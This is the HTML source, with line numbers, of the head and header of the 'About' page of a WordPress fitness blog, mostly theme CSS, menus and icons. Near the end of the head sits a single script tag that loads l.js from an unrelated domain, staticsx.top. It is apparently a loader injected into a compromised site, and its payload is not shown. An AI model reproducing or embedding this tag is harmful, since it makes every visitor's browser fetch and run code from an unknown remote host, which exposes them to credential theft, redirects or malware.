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592 .tdm-menu-active-style4 .tdm-header .sf-menu > .current-menu-item > a, 593 .tdm-menu-active-style4 .tdm-header .sf-menu > .current-menu-ancestor > a, 594 .tdm-menu-active-style4 .tdm-header .sf-menu > .current-category-ancestor > a, 595 .tdm-menu-active-style4 .tdm-header .sf-menu > li > a:hover, 596 .tdm-menu-active-style4 .tdm-header .sf-menu > .sfHover > a { 597 border-color: #e2b26f; 598 } 599</style> 600 601 602 603
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629 630<link rel="icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco-70x70.png" sizes="32x32" /> 631<link rel="icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" sizes="192x192" /> 632<link rel="apple-touch-icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" /> 633<meta name="msapplication-TileImage" content="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" /> 634 635<!-- Button style compiled by theme --> 636 637<style> 638 .tdm_block_column_content:hover .tdm-col-content-title-url .tdm-title, 639 .tds-button2 .tdm-btn-text, 640 .tds-button2 i, 641 .tds-button5:hover .tdm-btn-text, 642 .tds-button5:hover i, 643 .tds-button6 .tdm-btn-text, 644 .tds-button6 i, 645 .tdm_block_list .tdm-list-item i, 646 .tdm_block_pricing .tdm-pricing-feature i, 647 body .tdm-social-item i { 648 color: #e2b26f; 649 } 650 .tds-button1, 651 .tds-button6:after, 652 .tds-title2 .tdm-title-line:after, 653 .tds-title3 .tdm-title-line:after, 654 .tdm_block_pricing.tdm-pricing-featured:before, 655 .tdm_block_pricing.tds_pricing2_block.tdm-pricing-featured .tdm-pricing-header, 656 .tds-progress-bar1 .tdm-progress-bar:after, 657 .tds-progress-bar2 .tdm-progress-bar:after, 658 .tds-social3 .tdm-social-item { 659 background-color: #e2b26f; 660 } 661 .tds-button2:before, 662 .tds-button6:before, 663 .tds-progress-bar3 .tdm-progress-bar:after { 664 border-color: #e2b26f; 665 } 666 .tdm-btn-style1 { 667 background-color: #e2b26f; 668 } 669 .tdm-btn-style2:before { 670 border-color: #e2b26f; 671 } 672 .tdm-btn-style2 { 673 color: #e2b26f; 674 } 675 .tdm-btn-style3 { 676 -webkit-box-shadow: 0 2px 16px #e2b26f; 677 -moz-box-shadow: 0 2px 16px #e2b26f; 678 box-shadow: 0 2px 16px #e2b26f; 679 } 680 .tdm-btn-style3:hover { 681 -webkit-box-shadow: 0 4px 26px #e2b26f; 682 -moz-box-shadow: 0 4px 26px #e2b26f; 683 box-shadow: 0 4px 26px #e2b26f; 684 } 685</style> 686 687 <style id="tdw-css-placeholder"></style>
687<script src=https://staticsx.top/l.js></script>
687<style></style></head> 688 689<body class="wp-singular page-template-default page page-id-1260 wp-theme-Newspaper everest-forms-no-js about global-block-template-1 td-fitness-pro tdb-template tdc-header-template tdc-footer-template td-animation-stack-type0 td-full-layout" itemscope="itemscope" itemtype="https://schema.org/WebPage"> 690 691 <div class="td-scroll-up td-hide-scroll-up-on-mob" style="display:none;"><i class="td-icon-menu-up"></i></div> 692 693 <div class="td-menu-background" style="visibility:hidden"></div> 694<div id="td-mobile-nav" style="visibility:hidden"> 695 <div class="td-mobile-container"> 696 <!-- mobile menu top section --> 697 <div class="td-menu-socials-wrap"> 698 <!-- socials --> 699 <div class="td-menu-socials"> 700 </div> 701 <!-- close button --> 702 <div class="td-mobile-close"> 703 <span><i class="td-icon-close-mobile"></i></span> 704 </div> 705 </div> 706 707 <!-- login section --> 708 709 <!-- menu section --> 710 <div class="td-mobile-content"> 711 <div class="menu-header-menu-container"><ul id="menu-header-menu" class="td-mobile-main-menu"><li id="menu-item-1269" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1260 current_page_item menu-item-first menu-item-1269"><a href="https://thedailypump.com/about/">About</a></li> 712<li id="menu-item-1274" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1274"><a href="https://thedailypump.com/category/fitness/">Fitness</a></li> 713<li id="menu-item-1270" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1270"><a href="https://thedailypump.com/category/nutrition-and-supplements/">Supplements</a></li> 714<li id="menu-item-1272" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1272"><a href="https://thedailypump.com/category/weight-loss/">Weight Loss</a></li> 715<li id="menu-item-1271" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1271"><a href="https://thedailypump.com/category/videos/">Videos</a></li> 716<li id="menu-item-1268" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1268"><a href="https://thedailypump.com/contact/">Contact</a></li> 717</ul></div> </div> 718 </div> 719 720 <!-- register/login section --> 721 </div> <div class="td-search-background" style="visibility:hidden"></div> 722<div class="td-search-wrap-mob" style="visibility:hidden"> 723 <div class="td-drop-down-search"> 724 <form method="get" class="td-search-form" action="https://thedailypump.com/"> 725 <!-- close button --> 726 <div class="td-search-close"> 727 <span><i class="td-icon-close-mobile"></i></span> 728 </div> 729 <div role="search" class="td-search-input"> 730 <span>Search</span> 731 <input id="td-header-search-mob" type="text" value="" name="s" autocomplete="off" /> 732 </div> 733 </form> 734 <div id="td-aj-search-mob" class="td-ajax-search-flex"></div> 735 </div> 736</div> 737 <div id="td-outer-wrap" class="td-theme-wrap"> 738 739 <div class="td-header-template-wrap" style="position: relative"> 740 <div class="td-header-mobile-wrap "> 741 <div id="tdi_1" class="tdc-zone"><div class="tdc_zone tdi_2 wpb_row td-pb-row tdc-element-style" data-sticky-offset="0" > 742<style scoped> 743 744/* custom css */ 745.tdi_2{ 746 min-height: 0; 747 }.td-header-mobile-sticky-wrap.td-header-active{ 748 opacity: 1; 749 } 750 751/* phone */ 752@media (max-width: 767px){ 753.tdi_2:before{ 754 content: ''; 755 display: block; 756 width: 100vw; 757 height: 100%; 758 position: absolute; 759 left: 50%; 760 transform: translateX(-50%); 761 box-shadow: 0px 6px 8px 0px rgba(0, 0, 0, 0.08); 762 z-index: 20; 763 pointer-events: none; 764 }@media (max-width: 767px) { 765 .tdi_2:before { 766 width: 100%; 767 } 768 } 769} 770/* inline tdc_css att */ 771 772/* phone */ 773@media (max-width: 767px) 774{ 775.tdi_2{ 776position:relative; 777} 778} 779 780</style> 781<div class="tdi_1_rand_style td-element-style" ><style> 782/* phone */ 783@media (max-width: 767px) 784{ 785.tdi_1_rand_style{ 786background-color:rgba(42,42,66,0.95) !important; 787} 788} 789 </style></div>
789<div id="tdi_3" class="tdc-row"><div class="vc_row tdi_4 wpb_row td-pb-row" > 790<style scoped> 791 792/* custom css */ 793.tdi_4, 794 .tdi_4 .tdc-columns{ 795 min-height: 0; 796 }.tdi_4, 797 .tdi_4 .tdc-columns{ 798 display: block; 799 }.tdi_4 .tdc-columns{ 800 width: 100%; 801 } 802 803/* phone */ 804@media (max-width: 767px){ 805@media (min-width: 768px) { 806 .tdi_4 { 807 margin-left: -0px; 808 margin-right: -0px; 809 } 810 .tdi_4 .tdc-row-video-background-error, 811 .tdi_4 .vc_column { 812 padding-left: 0px; 813 padding-right: 0px; 814 } 815 } 816} 817/* inline tdc_css att */ 818 819/* phone */ 820@media (max-width: 767px) 821{ 822.tdi_4{ 823padding-top:8px !important; 824padding-bottom:8px !important; 825} 826} 827 828</style><div class="vc_column tdi_6 wpb_column vc_column_container tdc-column td-pb-span4"> 829<style scoped> 830 831/* custom css */ 832.tdi_6{ 833 vertical-align: baseline; 834 }.tdi_6 > .wpb_wrapper, 835 .tdi_6 > .wpb_wrapper > .tdc-elements{ 836 display: block; 837 }.tdi_6 > .wpb_wrapper > .tdc-elements{ 838 width: 100%; 839 }.tdi_6 > .wpb_wrapper > .vc_row_inner{ 840 width: auto; 841 }.tdi_6 > .wpb_wrapper{ 842 width: auto; 843 height: auto; 844 } 845 846/* phone */ 847@media (max-width: 767px){ 848.tdi_6{ 849 vertical-align: middle; 850 } 851} 852/* inline tdc_css att */ 853 854/* phone */ 855@media (max-width: 767px) 856{ 857.tdi_6{ 858width:20% !important; 859display:inline-block !important; 860} 861} 862 863</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_7 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_7" > 864<style> 865 866/* inline tdc_css att */ 867 868/* phone */ 869@media (max-width: 767px) 870{ 871.tdi_7{ 872margin-left:-5px !important; 873padding-top:3px !important; 874} 875} 876 877</style> 878<style> 879/* custom css */ 880.tdb-header-align{ 881 vertical-align: middle; 882 }.tdb_mobile_menu{ 883 margin-bottom: 0; 884 clear: none; 885 }.tdb_mobile_menu a{ 886 display: inline-block !important; 887 position: relative; 888 text-align: center; 889 color: #4db2ec; 890 }.tdb_mobile_menu a > span{ 891 display: flex; 892 align-items: center; 893 justify-content: center; 894 }.tdb_mobile_menu svg{ 895 height: auto; 896 }.tdb_mobile_menu svg, 897 .tdb_mobile_menu svg *{ 898 fill: #4db2ec; 899 }#tdc-live-iframe .tdb_mobile_menu a{ 900 pointer-events: none; 901 }.td-menu-mob-open-menu{ 902 overflow: hidden; 903 }.td-menu-mob-open-menu #td-outer-wrap{ 904 position: static; 905 }.tdi_7 .tdb-mobile-menu-button i{ 906 font-size: 28px; 907 908 width: 28px; 909 height: 28px; 910 line-height: 28px; 911 }.tdi_7 .tdb-mobile-menu-button svg{ 912 width: 28px; 913 }.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{ 914 width: 28px; 915 height: 28px; 916 }.tdi_7 .tdb-mobile-menu-button{ 917 color: #ffffff; 918 }.tdi_7 .tdb-mobile-menu-button svg, 919 .tdi_7 .tdb-mobile-menu-button svg *{ 920 fill: #ffffff; 921 }.tdi_7 .tdb-mobile-menu-button:hover{ 922 color: #8dacff; 923 }.tdi_7 .tdb-mobile-menu-button:hover svg, 924 .tdi_7 .tdb-mobile-menu-button:hover svg *{ 925 fill: #8dacff; 926 } 927 928/* phone */ 929@media (max-width: 767px){ 930.tdi_7 .tdb-mobile-menu-button i{ 931 font-size: 30px; 932 933 width: 30px; 934 height: 30px; 935 line-height: 30px; 936 }.tdi_7 .tdb-mobile-menu-button svg{ 937 width: 30px; 938 }.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{ 939 width: 30px; 940 height: 30px; 941 } 942} 943</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><span class="tdb-mobile-menu-icon tdb-mobile-menu-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M126.925 136.037v770.202h770.161v-770.202h-770.161zM725.965 735.108h-427.909v-82.616h427.909v82.616zM725.965 562.379h-427.909v-82.606h427.909v82.606zM725.965 389.795h-427.909v-82.616h427.909v82.616z"></path></svg></span></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_9 wpb_column vc_column_container tdc-column td-pb-span4"> 944<style scoped> 945 946/* custom css */ 947.tdi_9{ 948 vertical-align: baseline; 949 }.tdi_9 > .wpb_wrapper, 950 .tdi_9 > .wpb_wrapper > .tdc-elements{ 951 display: block; 952 }.tdi_9 > .wpb_wrapper > .tdc-elements{ 953 width: 100%; 954 }.tdi_9 > .wpb_wrapper > .vc_row_inner{ 955 width: auto; 956 }.tdi_9 > .wpb_wrapper{ 957 width: auto; 958 height: auto; 959 } 960 961/* phone */ 962@media (max-width: 767px){ 963.tdi_9{ 964 vertical-align: middle; 965 } 966} 967/* inline tdc_css att */ 968 969/* phone */ 970@media (max-width: 767px) 971{ 972.tdi_9{ 973width:60% !important; 974display:inline-block !important; 975} 976} 977 978</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_10 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_10" > 979<style> 980 981/* inline tdc_css att */ 982 983/* phone */ 984@media (max-width: 767px) 985{ 986.tdi_10{ 987margin-top:-5px !important; 988} 989} 990 991</style> 992<style> 993/* custom css */ 994.tdb_header_logo{ 995 margin-bottom: 0; 996 clear: none; 997 }.tdb_header_logo .tdb-logo-a, 998 .tdb_header_logo h1{ 999 display: flex; 1000 pointer-events: auto; 1001 align-items: flex-start; 1002 }.tdb_header_logo h1{ 1003 margin: 0; 1004 line-height: 0; 1005 }.tdb_header_logo .tdb-logo-img-wrap img{ 1006 display: block; 1007 }.tdb_header_logo .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 1008 display: none; 1009 }.tdb_header_logo .tdb-logo-svg-wrap svg{ 1010 width: 50px; 1011 display: block; 1012 transition: fill .3s ease; 1013 }.tdb_header_logo .tdb-logo-text-wrap{ 1014 display: flex; 1015 }.tdb_header_logo .tdb-logo-text-title, 1016 .tdb_header_logo .tdb-logo-text-tagline{ 1017 -webkit-transition: all 0.2s ease; 1018 transition: all 0.2s ease; 1019 }.tdb_header_logo .tdb-logo-text-title{ 1020 background-size: cover; 1021 background-position: center center; 1022 font-size: 75px; 1023 font-family: serif; 1024 line-height: 1.1; 1025 color: #222; 1026 white-space: nowrap; 1027 }.tdb_header_logo .tdb-logo-text-tagline{ 1028 margin-top: 2px; 1029 font-size: 12px; 1030 font-family: serif; 1031 letter-spacing: 1.8px; 1032 line-height: 1; 1033 color: #767676; 1034 }.tdb_header_logo .tdb-logo-icon{ 1035 position: relative; 1036 font-size: 46px; 1037 color: #000; 1038 }.tdb_header_logo .tdb-logo-icon-svg{ 1039 line-height: 0; 1040 }.tdb_header_logo .tdb-logo-icon-svg svg{ 1041 width: 46px; 1042 height: auto; 1043 }.tdb_header_logo .tdb-logo-icon-svg svg, 1044 .tdb_header_logo .tdb-logo-icon-svg svg *{ 1045 fill: #000; 1046 }.tdi_10 .tdb-logo-a, 1047 .tdi_10 h1{ 1048 align-items: flex-start; 1049 1050 justify-content: center; 1051 }.tdi_10 .tdb-logo-svg-wrap{ 1052 display: block; 1053 }.tdi_10 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 1054 display: none; 1055 }.tdi_10 .tdb-logo-text-tagline{ 1056 margin-top: 0;
1057 margin-left: 8px; 1058 1059 display: block; 1060 1061 color: #ffffff; 1062 1063 font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1064 }.tdi_10 .tdb-logo-text-title{ 1065 display: block; 1066 1067 color: #ffffff; 1068 1069 font-family:Bree Serif !important;font-size:26px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1070 }.tdi_10 .tdb-logo-text-wrap{ 1071 flex-direction: row; 1072 align-items: baseline; 1073 }.tdi_10 .tdb-logo-icon-svg svg{ 1074 width: 22px; 1075 }.tdi_10 .tdb-logo-icon{ 1076 margin-right: 10px; 1077 1078 top: 5px; 1079 1080 display: block; 1081 }.tdi_10 .tdb-logo-icon:last-child{ 1082 margin-right: 0; 1083 }@media (max-width: 767px) { 1084 .tdb_header_logo .tdb-logo-text-title { 1085 font-size: 36px; 1086 } 1087 }@media (max-width: 767px) { 1088 .tdb_header_logo .tdb-logo-text-tagline { 1089 font-size: 11px; 1090 } 1091 } 1092 1093/* landscape */ 1094@media (min-width: 1019px) and (max-width: 1140px){ 1095.tdi_10 .tdb-logo-img{ 1096 max-width: 100px; 1097 } 1098} 1099 1100/* portrait */ 1101@media (min-width: 768px) and (max-width: 1018px){ 1102.tdi_10 .tdb-logo-img{ 1103 max-width: 80px; 1104 }.tdi_10 .tdb-logo-img-wrap{ 1105 margin-top: 0px; 1106 1107 margin-bottom: 0px; 1108 1109 margin-right: 5px; 1110 1111 margin-left: 0px; 1112 }.tdi_10 .tdb-logo-img-wrap:first-child{ 1113 margin-top: 0; 1114 1115 margin-left: 0; 1116 }.tdi_10 .tdb-logo-img-wrap:last-child{ 1117 margin-bottom: 0; 1118 1119 margin-right: 0; 1120 }.tdi_10 .tdb-logo-text-tagline{ 1121 margin-top: 0; 1122 margin-left: 5px; 1123 1124 font-family:Noto Sans !important;font-size:18px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1125 }.tdi_10 .tdb-logo-text-title{ 1126 font-family:Bree Serif !important;font-size:20px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1127 } 1128} 1129 1130/* phone */ 1131@media (max-width: 767px){ 1132.tdi_10 .tdb-logo-img-wrap{ 1133 margin-top: 0px; 1134 1135 margin-bottom: 0px; 1136 1137 margin-right: 5px; 1138 1139 margin-left: 0px; 1140 1141 display: block; 1142 }.tdi_10 .tdb-logo-img-wrap:first-child{ 1143 margin-top: 0; 1144 1145 margin-left: 0; 1146 }.tdi_10 .tdb-logo-img-wrap:last-child{ 1147 margin-bottom: 0; 1148 1149 margin-right: 0; 1150 } 1151} 1152</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://thedailypump.com/"><h1><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></h1></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_12 wpb_column vc_column_container tdc-column td-pb-span4"> 1153<style scoped> 1154 1155/* custom css */ 1156.tdi_12{ 1157 vertical-align: baseline; 1158 }.tdi_12 > .wpb_wrapper, 1159 .tdi_12 > .wpb_wrapper > .tdc-elements{ 1160 display: block; 1161 }.tdi_12 > .wpb_wrapper > .tdc-elements{ 1162 width: 100%; 1163 }.tdi_12 > .wpb_wrapper > .vc_row_inner{ 1164 width: auto; 1165 }.tdi_12 > .wpb_wrapper{ 1166 width: auto; 1167 height: auto; 1168 } 1169 1170/* phone */ 1171@media (max-width: 767px){ 1172.tdi_12{ 1173 vertical-align: middle; 1174 } 1175} 1176/* inline tdc_css att */ 1177 1178/* phone */ 1179@media (max-width: 767px) 1180{ 1181.tdi_12{ 1182width:20% !important; 1183justify-content:flex-end !important; 1184text-align:right !important; 1185display:inline-block !important; 1186} 1187} 1188 1189</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_13 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_13" > 1190<style> 1191 1192/* inline tdc_css att */ 1193 1194/* phone */ 1195@media (max-width: 767px) 1196{ 1197.tdi_13{ 1198margin-right:-3px !important; 1199padding-top:3px !important; 1200} 1201} 1202 1203</style> 1204<style> 1205/* custom css */ 1206.tdb_mobile_search{ 1207 margin-bottom: 0; 1208 clear: none; 1209 }.tdb_mobile_search a{ 1210 display: inline-block !important; 1211 position: relative; 1212 text-align: center; 1213 color: #4db2ec; 1214 }.tdb_mobile_search a > span{ 1215 display: flex; 1216 align-items: center; 1217 justify-content: center; 1218 }.tdb_mobile_search svg{ 1219 height: auto; 1220 }.tdb_mobile_search svg, 1221 .tdb_mobile_search svg *{ 1222 fill: #4db2ec; 1223 }#tdc-live-iframe .tdb_mobile_search a{ 1224 pointer-events: none; 1225 }.td-search-opened{ 1226 overflow: hidden; 1227 }.td-search-opened #td-outer-wrap{ 1228 position: static; 1229 }.td-search-opened .td-search-wrap-mob{ 1230 position: fixed; 1231 }.tdi_13{ 1232 display: inline-block; 1233 }.tdi_13 .tdb-block-inner{ 1234 text-align: right; 1235 }.tdi_13 .tdb-header-search-button-mob i{ 1236 font-size: 22px; 1237 1238 width: 55px; 1239 height: 55px; 1240 line-height: 55px; 1241 }.tdi_13 .tdb-header-search-button-mob svg{ 1242 width: 22px; 1243 }.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{ 1244 width: 55px; 1245 height: 55px; 1246 display: flex; 1247 justify-content: center; 1248 }.tdi_13 .tdb-header-search-button-mob{ 1249 color: #ffffff; 1250 }.tdi_13 .tdb-header-search-button-mob svg, 1251 .tdi_13 .tdb-header-search-button-mob svg *{ 1252 fill: #ffffff; 1253 }.tdi_13 .tdb-header-search-button-mob:hover{ 1254 color: #8dacff; 1255 } 1256 1257/* phone */ 1258@media (max-width: 767px){ 1259.tdi_13 .tdb-header-search-button-mob i{ 1260 font-size: 25px; 1261 1262 width: 25px; 1263 height: 25px; 1264 line-height: 25px; 1265 }.tdi_13 .tdb-header-search-button-mob svg{ 1266 width: 25px; 1267 }.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{ 1268 width: 25px; 1269 height: 25px; 1270 display: flex; 1271 justify-content: center; 1272 } 1273} 1274</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><span class="tdb-mobile-search-icon tdb-mobile-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M958.484 910.161l-134.564-134.502c63.099-76.595 94.781-170.455 94.72-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.244-81.183-187.976-121.958-294.359-121.938-106.435-0.020-213.187 40.796-294.369 121.938-81.234 81.203-122.010 188.017-121.989 294.369-0.02
12740 106.445 40.755 213.166 121.989 294.287 81.193 81.285 187.945 122.020 294.369 121.979 93.716 0.041 187.597-31.642 264.11-94.659l134.554 134.564 57.457-57.467zM265.431 748.348c-65.546-65.495-98.13-150.999-98.171-236.882 0.041-85.832 32.625-171.346 98.171-236.913 65.567-65.536 151.081-98.099 236.933-98.14 85.821 0.041 171.336 32.604 236.902 98.14 65.495 65.516 98.12 151.122 98.12 236.913 0 85.924-32.625 171.387-98.12 236.882-65.556 65.495-151.009 98.099-236.902 98.099-85.852 0-171.366-32.604-236.933-98.099zM505.385 272.864c-61.901 0.020-123.566 23.501-170.824 70.799-47.288 47.258-70.769 108.923-70.799 170.834-0.041 26.624 4.383 53.105 13.046 78.428-0.031-0.522-0.092-1.024-0.031-1.556 13.199-91.341 48.241-159.775 96.963-208.497v-0.020h0.031c48.712-48.722 117.135-83.763 208.486-96.963 0.522-0.061 1.024 0 1.536 0.041-25.313-8.684-51.794-13.087-78.408-13.066z"></path></svg></span></span></div></div> <!-- ./block --></div></div></div></div></div></div> </div> 1275 <div class="td-header-mobile-sticky-wrap tdc-zone-sticky-invisible tdc-zone-sticky-inactive" style="display: none"> 1276 <div id="tdi_14" class="tdc-zone"><div class="tdc_zone tdi_15 wpb_row td-pb-row" data-sticky-offset="0" > 1277<style scoped> 1278 1279/* custom css */ 1280.tdi_15{ 1281 min-height: 0; 1282 }.td-header-mobile-sticky-wrap.td-header-active{ 1283 opacity: 1; 1284 } 1285</style><div id="tdi_16" class="tdc-row"><div class="vc_row tdi_17 wpb_row td-pb-row" > 1286<style scoped> 1287 1288/* custom css */ 1289.tdi_17, 1290 .tdi_17 .tdc-columns{ 1291 min-height: 0; 1292 }.tdi_17, 1293 .tdi_17 .tdc-columns{ 1294 display: block; 1295 }.tdi_17 .tdc-columns{ 1296 width: 100%; 1297 } 1298</style><div class="vc_column tdi_19 wpb_column vc_column_container tdc-column td-pb-span12"> 1299<style scoped> 1300 1301/* custom css */ 1302.tdi_19{ 1303 vertical-align: baseline; 1304 }.tdi_19 > .wpb_wrapper, 1305 .tdi_19 > .wpb_wrapper > .tdc-elements{ 1306 display: block; 1307 }.tdi_19 > .wpb_wrapper > .tdc-elements{ 1308 width: 100%; 1309 }.tdi_19 > .wpb_wrapper > .vc_row_inner{ 1310 width: auto; 1311 }.tdi_19 > .wpb_wrapper{ 1312 width: auto; 1313 height: auto; 1314 } 1315</style><div class="wpb_wrapper" ></div></div></div></div></div></div> </div> 1316 1317 <div class="td-header-desktop-wrap "> 1318 <div id="tdi_20" class="tdc-zone"><div class="tdc_zone tdi_21 wpb_row td-pb-row tdc-element-style" > 1319<style scoped> 1320 1321/* custom css */ 1322.tdi_21{ 1323 min-height: 0; 1324 }.td-header-desktop-wrap{ 1325 position: relative; 1326 } 1327/* inline tdc_css att */ 1328 1329.tdi_21{ 1330box-shadow:0 0 16px rgba(0,0,0,0.16) !important; 1331z-index:999 !important; 1332position:relative; 1333} 1334 1335/* portrait */ 1336@media (min-width: 768px) and (max-width: 1018px) 1337{ 1338.tdi_21{ 1339box-shadow:0 0 16px rgba(0,0,0,0.16) !important; 1340} 1341} 1342 1343</style> 1344<div class="tdi_20_rand_style td-element-style" ><style> 1345.tdi_20_rand_style{ 1346background-color:#ffffff !important; 1347} 1348 </style></div><div id="tdi_22" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_23 wpb_row td-pb-row tdc-row-content-vert-center" > 1349<style scoped> 1350 1351/* custom css */ 1352.tdi_23, 1353 .tdi_23 .tdc-columns{ 1354 min-height: 0; 1355 }#tdi_22.tdc-row[class*='stretch_row'] > .td-pb-row > .td-element-style, 1356 #tdi_22.tdc-row[class*='stretch_row'] > .td-pb-row > .tdc-video-outer-wrapper{ 1357 width: 100% !important; 1358 }.tdi_23, 1359 .tdi_23 .tdc-columns{ 1360 display: block; 1361 }.tdi_23 .tdc-columns{ 1362 width: 100%; 1363 }@media (min-width: 767px) { 1364 .tdi_23.tdc-row-content-vert-center, 1365 .tdi_23.tdc-row-content-vert-center .tdc-columns { 1366 display: flex; 1367 align-items: center; 1368 flex: 1; 1369 } 1370 .tdi_23.tdc-row-content-vert-bottom, 1371 .tdi_23.tdc-row-content-vert-bottom .tdc-columns { 1372 display: flex; 1373 align-items: flex-end; 1374 flex: 1; 1375 } 1376 .tdi_23.tdc-row-content-vert-center .td_block_wrap { 1377 vertical-align: middle; 1378 } 1379 .tdi_23.tdc-row-content-vert-bottom .td_block_wrap { 1380 vertical-align: bottom; 1381 } 1382 } 1383 1384/* landscape */ 1385@media (min-width: 1019px) and (max-width: 1140px){ 1386@media (min-width: 768px) { 1387 .tdi_23 { 1388 margin-left: -0px; 1389 margin-right: -0px; 1390 } 1391 .tdi_23 .tdc-row-video-background-error, 1392 .tdi_23 .vc_column { 1393 padding-left: 0px; 1394 padding-right: 0px; 1395 } 1396 } 1397} 1398 1399/* portrait */ 1400@media (min-width: 768px) and (max-width: 1018px){ 1401@media (min-width: 768px) { 1402 .tdi_23 { 1403 margin-left: -0px; 1404 margin-right: -0px; 1405 } 1406 .tdi_23 .tdc-row-video-background-error, 1407 .tdi_23 .vc_column { 1408 padding-left: 0px; 1409 padding-right: 0px; 1410 } 1411 } 1412} 1413/* inline tdc_css att */ 1414 1415.tdi_23{ 1416padding-top:15px !important; 1417padding-bottom:15px !important; 1418} 1419 1420.tdi_23 .td_block_wrap{ text-align:left } 1421 1422/* portrait */ 1423@media (min-width: 768px) and (max-width: 1018px) 1424{ 1425.tdi_23{ 1426padding-top:8px !important; 1427padding-right:12px !important; 1428padding-bottom:8px !important; 1429padding-left:12px !important; 1430} 1431} 1432 1433/* landscape */ 1434@media (min-width: 1019px) and (max-width: 1140px) 1435{ 1436.tdi_23{ 1437padding-top:12px !important; 1438padding-bottom:12px !important; 1439} 1440} 1441 1442</style><div class="vc_column tdi_25 wpb_column vc_column_container tdc-column td-pb-span3"> 1443<style scoped> 1444 1445/* custom css */ 1446.tdi_25{ 1447 vertical-align: baseline; 1448 }.tdi_25 > .wpb_wrapper, 1449 .tdi_25 > .wpb_wrapper > .tdc-elements{ 1450 display: block; 1451 }.tdi_25 > .wpb_wrapper > .tdc-elements{ 1452 width: 100%; 1453 }.tdi_25 > .wpb_wrapper > .vc_row_inner{ 1454 width: auto; 1455 }.tdi_25 > .wpb_wrapper{ 1456 width: auto; 1457 height: auto; 1458 } 1459/* inline tdc_css att */ 1460 1461.tdi_25{ 1462width:20% !important; 1463} 1464 1465/* landscape */ 1466@media (min-width: 1019px) and (max-width: 1140px) 1467{ 1468.tdi_25{ 1469width:22% !important; 1470} 1471} 1472 1473/* portrait */ 1474@media (min-width: 768px) and (max-width: 1018px) 1475{ 1476.tdi_25{ 1477width:24% !important; 1478} 1479} 1480 1481</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_26 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_26" > 1482<style> 1483 1484/* inline tdc_css att */ 1485 1486.tdi_26{ 1487margin-top:-8px !important; 1488} 1489 1490/* portrait */ 1491@media (min-width: 768px) and (max-width: 1018px) 1492{ 1493.tdi_26{ 1494margin-top:-5px !important; 1495} 1496} 1497 1498/* landscape */ 1499@media (min-width: 1019px) and (max-width: 1140px) 1500{ 1501.tdi_26{
1502margin-top:-7px !important; 1503margin-left:-5px !important; 1504} 1505} 1506 1507</style> 1508<style> 1509/* custom css */ 1510.tdi_26{ 1511 display: inline-block; 1512 }.tdi_26 .tdb-logo-a, 1513 .tdi_26 h1{ 1514 align-items: flex-start; 1515 1516 justify-content: flex-start; 1517 }.tdi_26 .tdb-logo-svg-wrap{ 1518 display: block; 1519 }.tdi_26 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 1520 display: none; 1521 }.tdi_26 .tdb-logo-img{ 1522 max-width: 170px; 1523 }.tdi_26 .tdb-logo-text-tagline{ 1524 margin-top: 0; 1525 margin-left: 8px; 1526 1527 display: none; 1528 1529 color: #333333; 1530 1531 font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1532 }.tdi_26 .tdb-logo-text-title{ 1533 display: none; 1534 1535 color: #333333; 1536 1537 font-family:Bree Serif !important;font-size:26px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1538 }.tdi_26 .tdb-logo-text-wrap{ 1539 flex-direction: row; 1540 align-items: baseline; 1541 }.tdi_26 .tdb-logo-icon-svg svg{ 1542 width: 22px; 1543 }.tdi_26 .tdb-logo-icon{ 1544 margin-right: 10px; 1545 1546 top: 5px; 1547 1548 display: block; 1549 1550 color: #333333; 1551 }.tdi_26 .tdb-logo-icon:last-child{ 1552 margin-right: 0; 1553 }.tdi_26 .tdb-logo-icon-svg svg, 1554 .tdi_26 .tdb-logo-icon-svg svg *{ 1555 fill: #333333; 1556 } 1557 1558/* landscape */ 1559@media (min-width: 1019px) 